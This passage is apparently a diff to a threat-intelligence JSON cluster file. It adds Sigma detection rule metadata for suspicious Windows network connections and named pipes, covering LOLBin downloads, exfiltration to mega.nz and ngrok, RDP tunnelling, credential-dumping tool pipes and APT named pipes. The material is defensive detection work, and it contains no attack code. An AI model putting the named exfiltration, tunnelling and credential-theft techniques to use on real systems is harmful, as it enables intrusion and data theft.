"meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/09/02", + "filename": "net_connection_win_certutil.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate certutil network connection" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects process connections to a Monero crypto mining pool", + "uuid": "fa5b1358-b040-4403-9868-15f7d9ab6329", + "value": "Windows Crypto Mining Pool Connections", + "meta": { + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining.yml" + ], + "tags": [ + "attack.impact", + "attack.t1496" + ], + "creation_date": "2021/10/26", + "filename": "net_connection_win_crypto_mining.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of crypto miners" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.", + "uuid": "297ae038-edc2-4b2e-bb3e-7c5fc94dd5c7", + "value": "Dead Drop Resolvers", + "meta": { + "refs": [ + "https://content.fireeye.com/apt-41/rpt-apt41", + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dead_drop_resolvers.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1102", + "attack.t1102.001" + ], + "creation_date": "2022/08/17", + "filename": "net_connection_win_dead_drop_resolvers.yml", + "author": "Sorina Ionescu", + "level": "high", + "falsepositive": [ + "One might need to exclude other internet browsers found in it's network or other applications like ones mentioned above from Microsoft Defender." + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects Dllhost that communicates with public IP addresses", + "uuid": "cfed2f44-16df-4bf3-833a-79405198b277", + "value": "Dllhost Internet Connection", + "meta": { + "refs": [ + "https://redcanary.com/blog/child-processes/", + "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dllhost_net_connections.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution", + "attack.t1559.001" + ], + "creation_date": "2020/07/13", + "filename": "net_connection_win_dllhost_net_connections.yml", + "author": "bartblaze", + "level": "medium", + "falsepositive": [ + "Communication to other corporate systems that use IP addresses from public address spaces" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects network connections from Equation Editor", + "uuid": "a66bc059-c370-472c-a0d7-f8fd1bf9d583", + "value": "Equation Editor Network Connection", + "meta": { + "refs": [ + "https://twitter.com/forensicitguy/status/1513538712986079238", + "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203" + ], + "creation_date": "2022/04/14", + "filename": "net_connection_win_eqnedt.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292.\nYou will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.\n", + "uuid": "75e33ce3-ae32-4dcc-9aa8-a2a3029d6f84", + "value": "Excel Network Connections", + "meta": { + "refs": [ + "https://corelight.com/blog/detecting-cve-2021-42292", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_excel_outbound_network_connection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203" + ], + "creation_date": "2021/11/10", + "filename": "net_connection_win_excel_outbound_network_connection.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0\", Tim Shelton", + "level": "medium", + "falsepositive": [ + "You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.", + "Office documents commonly have templates that refer to external addresses, like sharepoint.ourcompany.com may have to be tuned.", + "It is highly recommended to baseline your activity and tune out common business use cases." + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects network connections made by the \"hh.exe\" process, which could indicate the execution/download of remotely hosted .chm files", + "uuid": "468a8cea-2920-4909-a593-0cbe1d96674a", + "value": "HH.EXE Network Connections", + "meta": { + "refs": [ + "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", + "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001" + ], + "creation_date": "2022/10/05", + "filename": "net_connection_win_hh.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Use IMEWDBLD.exe (built-in to windows) to download a file", + "uuid": "8d7e392e-9b28-49e1-831d-5949c6281228", + "value": "Download a File with IMEWDBLD.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download", + "https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/01/22", + "filename": "net_connection_win_imewdbld.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs that connect to typical malware back connect ports based on statistical analysis from two different sandbox system databases", + "uuid": "4b89abaa-99fe-4232-afdd-8f9aa4d20382", + "value": "Suspicious Typical Malware Back Connect Ports", + "meta": { + "refs": [ + "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1571" + ], + "creation_date": "2017/03/19", + "filename": "net_connection_win_malware_backconnect_ports.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors", + "uuid": "fdeebdf0-9f3f-4d08-84a6-4c4d13e39fe4", + "value": "Communication To Mega.nz", + "meta": { + "refs": [ + "https://megatools.megous.com/", + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.001" + ], + "creation_date": "2021/12/06", + "filename": "net_connection_win_mega_nz.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of mega.nz uploaders and tools" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", + "uuid": "8e5e38e4-5350-4c0b-895a-e872ce0dd54f", + "value": "Msiexec Initiated Connection", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_msiexec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/01/16", + "filename": "net_connection_win_msiexec.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate msiexec over networks" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable accessing ngrok.io, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", + "uuid": "18249279-932f-45e2-b37a-8925f2597670", + "value": "Communication To Ngrok.Io", + "meta": { + "refs": [ + "https://ngrok.com/", + "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_io.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.001" + ], + "creation_date": "2022/07/16", + "filename": "net_connection_win_ngrok_io.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of ngrok.io" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", + "uuid": "1d08ac94-400d-4469-a82f-daee9a908849", + "value": "Communication To Ngrok Tunneling Service", + "meta": { + "refs": [ + "https://twitter.com/hakluke/status/1587733971814977537/photo/1", + "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.command_and_control", + "attack.t1567", + "attack.t1568.002", + "attack.t1572", + "attack.t1090", + "attack.t1102", + "attack.s0508" + ], + "creation_date": "2022/11/03", + "filename": "net_connection_win_ngrok_tunnel.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of ngrok" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious network connection by Notepad", + "uuid": "e81528db-fc02-45e8-8e98-4e84aba1f10b", + "value": "Notepad Making Network Connection", + "meta": { + "refs": [ + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf", + "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.execution", + "attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2020/05/14", + "filename": "net_connection_win_notepad_network_connection.yml", + "author": "EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Powershell process that opens network connections - check for suspicious target ports and target systems - adjust to your environment (e.g. extend filters with company's ip range')", + "uuid": "1f21ec3f-810d-4b0e-8045-322202e22b4b", + "value": "PowerShell Network Connections", + "meta": { + "refs": [ + "https://www.youtube.com/watch?v=DLtJTxMWZ2o", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_powershell_network_connection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/13", + "filename": "net_connection_win_powershell_network_connection.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", + "uuid": "bef0bc5a-b9ae-425d-85c6-7b2d705980c6", + "value": "Python Initiated Connection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python", + "https://pypi.org/project/scapy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2021/12/10", + "filename": "net_connection_win_python.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate python script" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389", + "uuid": "5f699bc5-5446-4a4a-a0b7-5ef2885a3eb4", + "value": "RDP Over Reverse SSH Tunnel", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1096148422984384514", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2019/02/16", + "filename": "net_connection_win_rdp_reverse_tunnel.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443", + "uuid": "b1e5da3b-ca8e-4adf-915c-9921f3d85481", + "value": "RDP to HTTP or HTTPS Target Ports", + "meta": { + "refs": [ + "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", + "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2022/04/29", + "filename": "net_connection_win_rdp_to_http.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", + "uuid": "c7e91a02-d771-4a6d-a700-42587e0b1095", + "value": "Regsvr32 Network Activity", + "meta": { + "refs": [ + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", + "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559.001", + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/10/25", + "filename": "net_connection_win_regsvr32_network_activity.yml", + "author": "Dmitriy Lifanov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.", + "uuid": "c539afac-c12a-46ed-b1bd-5a5567c9f045", + "value": "Remote PowerShell Session (Network)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_remote_powershell_session_network.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2019/09/12", + "filename": "net_connection_win_remote_powershell_session_network.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Legitimate usage of remote PowerShell, e.g. remote administration and monitoring.", + "Network Service user name of a not-covered localization" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a rundll32 that communicates with public IP addresses", + "uuid": "cdc8da7d-c303-42f8-b08c-b4ab47230263", + "value": "Rundll32 Internet Connection", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011", + "attack.execution" + ], + "creation_date": "2017/11/04", + "filename": "net_connection_win_rundll32_net_connections.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Communication to other corporate systems that use IP addresses from public address spaces" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.", + "uuid": "08249dc0-a28d-4555-8ba5-9255a198e08c", + "value": "Script Initiated Connection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/08/28", + "filename": "net_connection_win_script.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate scripts" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.", + "uuid": "992a6cae-db6a-43c8-9cec-76d7195c96fc", + "value": "Script Initiated Connection to Non-Local Network", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script_wan.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/08/28", + "filename": "net_connection_win_script_wan.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate scripts" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible remote connections to Silenttrinity c2", + "uuid": "50e54b8d-ad73-43f8-96a1-5191685b17a4", + "value": "Silenttrinity Stager Msbuild Activity", + "meta": { + "refs": [ + "https://www.blackhillsinfosec.com/my-first-joyride-with-silenttrinity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.t1127.001" + ], + "creation_date": "2020/10/11", + "filename": "net_connection_win_silenttrinity_stager_msbuild_activity.yml", + "author": "Kiran kumar s, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious network connections made by a well-known Windows binary run with no command line parameters", + "uuid": "20384606-a124-4fec-acbb-8bd373728613", + "value": "Suspicious Network Connection Binary No CommandLine", + "meta": { + "refs": [ + "https://redcanary.com/blog/raspberry-robin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/03", + "filename": "net_connection_win_susp_binary_no_cmdline.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious network connection by Cmstp", + "uuid": "efafe0bf-4238-479e-af8f-797bd3490d2d", + "value": "Cmstp Making Network Connection", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_cmstp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.003" + ], + "creation_date": "2022/08/30", + "filename": "net_connection_win_susp_cmstp.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable that isn't dropbox but communicates with the Dropbox API", + "uuid": "25eabf56-22f0-4915-a1ed-056b8dae0a68", + "value": "Suspicious Dropbox API Usage", + "meta": { + "refs": [ + "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/20", + "filename": "net_connection_win_susp_dropbox_api.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of the API with a tool that the author wasn't aware of" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious \"epmap\" connection to a remote computer via remote procedure call (RPC)", + "uuid": "628d7a0b-7b84-4466-8552-e6138bc03b43", + "value": "Suspicious Epmap Connection", + "meta": { + "refs": [ + "https://github.com/RiccardoAncarani/TaskShell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_epmap.yml" + ], + "tags": [ + "attack.lateral_movement" + ], + "creation_date": "2022/07/14", + "filename": "net_connection_win_susp_epmap.yml", + "author": "frack113, Tim Shelton (fps)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", + "uuid": "e54979bd-c5f9-4d6c-967b-a04b19ac4c74", + "value": "Suspicious Outbound Kerberos Connection", + "meta": { + "refs": [ + "https://github.com/GhostPack/Rubeus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558", + "attack.lateral_movement", + "attack.t1550.003" + ], + "creation_date": "2019/10/24", + "filename": "net_connection_win_susp_outbound_kerberos_connection.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "high", + "falsepositive": [ + "Other browsers" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.", + "uuid": "9f2cc74d-78af-4eb2-bb64-9cd1d292b87b", + "value": "Microsoft Sync Center Suspicious Network Connections", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_mobsync_connection.yml" + ], + "tags": [ + "attack.t1055", + "attack.t1218", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2022/04/28", + "filename": "net_connection_win_susp_outbound_mobsync_connection.yml", + "author": "elhoim", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", + "uuid": "9976fa64-2804-423c-8a5b-646ade840773", + "value": "Suspicious Outbound SMTP Connections", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", + "https://www.ietf.org/rfc/rfc2821.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2022/01/07", + "filename": "net_connection_win_susp_outbound_smtp_connections.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Other SMTP tools" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs with network connections running in suspicious files system locations", + "uuid": "7b434893-c57d-4f41-908d-6a17bf1ae98f", + "value": "Suspicious Program Location with Network Connections", + "meta": { + "refs": [ + "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_prog_location_network_connection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2017/03/19", + "filename": "net_connection_win_susp_prog_location_network_connection.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement", + "uuid": "ed74fe75-7594-4b4b-ae38-e38e3fd2eb23", + "value": "Suspicious Outbound RDP Connections", + "meta": { + "refs": [ + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_rdp.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2019/05/15", + "filename": "net_connection_win_susp_rdp.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Other Remote Desktop RDP tools", + "Domain controller using dns.exe" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making a network connections.\nOne could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.\n", + "uuid": "c649a6c7-cd8c-4a78-9c04-000fc76df954", + "value": "Wuauclt Network Connection", + "meta": { + "refs": [ + "https://dtm.uk/wuauclt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/12", + "filename": "net_connection_win_wuauclt_network_connection.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitimate use of wuauclt.exe over the network." + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "uuid": "58cb02d5-78ce-4692-b3e1-dce850aae41a", + "value": "Alternate PowerShell Hosts Pipe", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_alternate_powershell_hosts_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "pipe_created_alternate_powershell_hosts_pipe.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Programs using PowerShell directly without invocation of a dedicated interpreter." + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects a named pipe used by Turla group samples", + "uuid": "739915e4-1e70-4778-8b8a-17db02f66db1", + "value": "Turla Group Named Pipes", + "meta": { + "refs": [ + "Internal Research", + "https://attack.mitre.org/groups/G0010/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_apt_turla_namedpipes.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1106" + ], + "creation_date": "2017/11/06", + "filename": "pipe_created_apt_turla_namedpipes.yml", + "author": "Markus Neis", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects well-known credential dumping tools execution via specific named pipes", + "uuid": "961d0ba2-3eea-4303-a930-2cf78bbfcc5e", + "value": "Cred Dump-Tools Named Pipes", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_cred_dump_tools_named_pipes.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005" + ], + "creation_date": "2019/11/01", + "filename": "pipe_created_cred_dump_tools_named_pipes.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "critical", + "falsepositive": [ + "Legitimate Administrator using tool for password recovery" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of default named pipe used by the DiagTrackEoP POC", + "uuid": "1f7025a6-e747-4130-aac4-961eb47015f1", + "value": "DiagTrackEoP Default Named Pipe", + "meta": { + "refs": [ + "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_diagtrack_eop_default_pipe.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/08/03", + "filename": "pipe_created_diagtrack_eop_default_pipe.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of a pipe name as used by the tool EfsPotato", + "uuid": "637f689e-b4a5-4a86-be0e-0100a0a33ba2", + "value": "EfsPotato Named 